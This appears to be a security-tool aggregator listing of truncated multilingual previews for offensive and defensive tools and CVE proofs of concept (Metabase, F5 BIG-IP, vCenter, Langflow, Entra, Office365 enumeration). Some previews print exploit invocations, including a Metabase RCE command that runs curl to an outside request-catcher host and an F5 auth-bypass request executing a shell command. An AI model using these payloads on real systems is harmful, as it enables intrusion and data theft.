HTTPUploadExfil

HTTPUploadExfil HTTPUploadExfil is a very simple HTTP server written in Go that's useful for getting files and other information off a machine using HTTP. While there are many use-cases, it's meant to be used in low-stakes offensive scenarios e.g., CTFs. Think of this as python3 -m http.server bu...

DockSec

DockSec AI-powered Docker security scanner that explains vulnerabilities in plain English What is DockSec? DockSec is an OWASP Lab Project that bridges the gap between complex security scan results and actionable developer fixes. It integrates industry-standard scanners Trivy, Hadolint, Docker...

CVE-2023-38646

CVE-2023-38646 针对 Metabase RCE 漏洞 CVE-2023-38646 的自动化工具。更多信息（POC、Dork）请访问 https://secry.me/explore/news/metabase-rce-cve-2023-38646/ 如何使用 single.py root@kitploit: python3 single.py --url=http://127.0.0.1:8080 --command="curl sub.requestcatcher.com/some-endpoint" 或 root@kitploit: python3 single.py...

opa

Open Policy Agent Open Policy Agent OPA is an open source, general-purpose policy engine that enables unified, context-aware policy enforcement across the entire stack. OPA is proud to be a graduated project in the Cloud Native Computing Foundation CNCF landscape. For details read the CNCF...

CVE-2024-23700

CVE-2024-23700 - Android Companion Device 权限提升 PoC 本项目演示 CVE-2024-23700，这是一个与 Android 上 Companion Device 机制相关的权限提升漏洞。该 PoC 展示了应用如何利用配套设备关联流程，在易受影响的环境中无需经过常规的授权交互即可获得部分敏感权限。 本仓库中的文档和源代码仅用于学习目的、安全分析和授权环境下的测试。请勿将其用于合法测试范围之外的设备、账户或数据。 项目信息 所属课程 : 移动设备安全 执行小组 : 本项目由 4 名成员组成的小组完成。 序号| 姓名| 学员编号...

UhOh365

UhOh365 A script that can see if an email address is valid in Office365. This does not perform any login attempts, is unthrottled, and is incredibly useful for social engineering assessments to find which emails exist and which don't. Microsoft does not consider "email enumeration" a vulnerabilit...

CVE-2026-13156

CVE-2026-13156 — MailerSend 官方 SMTP 集成插件 !IMPORTANT 摘要： 在 WordPress 官方 MailerSend SMTP 集成 插件（ 关于研究员： Huynh Kien Minh （ Huỳnh Kiến Minh ）是一位积极进取的网络安全研究员和漏洞分析师，以深入的安全评估和负责任披露而闻名，包括对...

CVE-2022-1388_PoC

F5 BIG-IP RCE 漏洞利用 CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl 命令行： root@kitploit: $ curl -i -s -k -X $'POST' \ -H...

wazuh

Wazuh Wazuhは、脅威の防止、検出、対応に使用される無料のオープンソースプラットフォームです。オンプレミス、仮想化、コンテナ化、およびクラウドベースの環境にわたるワークロードを保護することができます。 Wazuhソリューションは、監視対象システムにデプロイされるエンドポイントセキュリティエージェントと、エージェントが収集したデータを収集・分析する管理サーバーで構成されています。さらに、WazuhはWazuh Indexerと完全に統合されており、ユーザーがセキュリティアラートを閲覧できる検索エンジンとデータ可視化ツールを提供します。 Wazuhの機能...

CVE-2025-57819

CVE-2025-57819 此漏洞概述引用自 @jfinstrom 此处 大约在2025年8月21日，多个FreePBX系统开始显示错误，随后确认遭到入侵。 供应商（Sangoma/FreePBX安全团队）于2025年8月26日发布安全公告，敦促管理员限制管理员控制面板的公开访问，并提供EDGE模块修复。 此漏洞与商业版的端点管理器（Endpoint）相关，似乎是一个未经认证的权限提升/远程代码执行漏洞，当管理员UI暴露于恶意网络时可被利用。 EDGE修复可防止新的利用，但无法清理已被入侵的系统。 这种检测方法如何工作？...

x8

x8 Hidden parameters discovery suite written in Rust. The tool aids in identifying hidden parameters that could potentially be vulnerable or reveal interesting functionality that may be missed by other testers. Its high accuracy is achieved through line-by-line comparison of pages, comparison of...

brpc

English version bRPC是用C++语言编写的工业级RPC框架，常用于搜索、存储、机器学习、广告、推荐等高性能系统。 "bRPC"的含义是"better RPC" 你可以使用它： 搭建能在一个端口 支持多协议的服务, 或访问各种服务 restful http/https, h2/gRPC。使用bRPC的http实现比libcurl方便多了。从其他语言通过HTTP/h2+json访问基于protobuf的协议. redis和memcached, 线程安全，比官方client更方便。 rtmp/flv/hls, 可用于搭建流媒体服务. hadooprpc可能开源 支持rdma...

EntraPassTheCert

EntraPassTheCert EntraPassTheCert 是一款后渗透工具，允许攻击者请求 Entra ID 用户的 P2P 证书，并使用该证书向远程已加入 Entra 的机器进行身份验证。 root@kitploit: $ python3 entraptc.py -h usage: entraptc.py -h --debug requestp2pcert,smb,rdp,winrm,rpc ... post-exploitation tool for requesting p2p cert and authenticate with it positional...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 Funciona en VMware-VCSA-all-6.7.0-8217866, VMware-VIM-all-6.7.0-8217866 ✔ VMware-VCSA-all-6.5.0-16613358 ✔ Para vCenter6.7 U2+ vCenter 6.7U2+ ejecuta el sitio web en memoria, por lo que este exploit no funciona para 6.7 u2+. Pendiente de prueba vCenter 6.5...

Exploit for OS Command Injection in Webmin

CVE-2019-15107 – Webmin Unauthenticated RCE Lab 1. Project Over...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 の PoC。複数の F5 製品に影響を与えます。 最新のセキュリティ研究については、Twitter で Horizon3.ai Attack Team をフォローしてください: Horizon3 Attack Team James Horseman Zach Hanley 技術分析 脆弱性の根本原因分析の技術解説は、当社ブログでご覧いただけます: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/ 概...

CVE-2025-50154

NTLM/SMB 加固与威胁狩猎工具包 作者： w01f 版本： 1.0 用途： 审计、加固并搜寻不安全的 NTLM/SMB 使用，以降低诸如 CVE-2025-50154 等风险。 CVE-2025-50154 概述 严重程度： 高 类型： NTLM 凭据泄露 + 补丁绕过（零点击） 影响系统： Windows 10/11，Windows Server 摘要： CVE-2025-50154 是对微软先前针对 CVE-2025-24054 补丁的绕过。即便已应用之前的缓解措施，精心构造的文件或 UNC 路径仍可触发 Windows 资源管理器 获取远程资源，并在无任何用户交互...

CVE-2026-33017

CVE-2026-33017 Langflow RCE ★ CVE-2026-33017 Langflow PoC de Ejecución Remota de Código ★ https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7 Configuración del Entorno Utilice los siguientes comandos para construir y ejecutar el entorno vulnerable de Langflow:...

sogen

Sogen runs Windows and Linux programs without a real operating system, and lets you see and control everything they do. Instead of reimplementing thousands of OS APIs, Sogen emulates binaries at CPU and syscall level and runs the real system DLLs , so behavior closely matches the real OS. Every...

claude-bug-bounty

BugHunter AI 驱动的漏洞赏金狩猎——从侦察到报告，全在你的终端中。 免费设置 · 快速开始 · 命令 · 它能发现什么 · 安装 · FAQ 由AwareXone.com 提供支持 — 你的反诈骗与反欺诈 AI 代理 💜 欢迎赞助 BugHunter 接受赞助。 你的支持将资助新功能的开发，并让免费独立模式持续为所有人服务。赞助商将获得此处 README 中的 logo 和链接，并在每个版本中获得致谢。 想赞助吗？ 请联系 AwareXone.com 或发送邮件至 [email protected] 。 这是什么？ 这是一款专业的漏洞赏金狩猎工具包，无论是否订阅...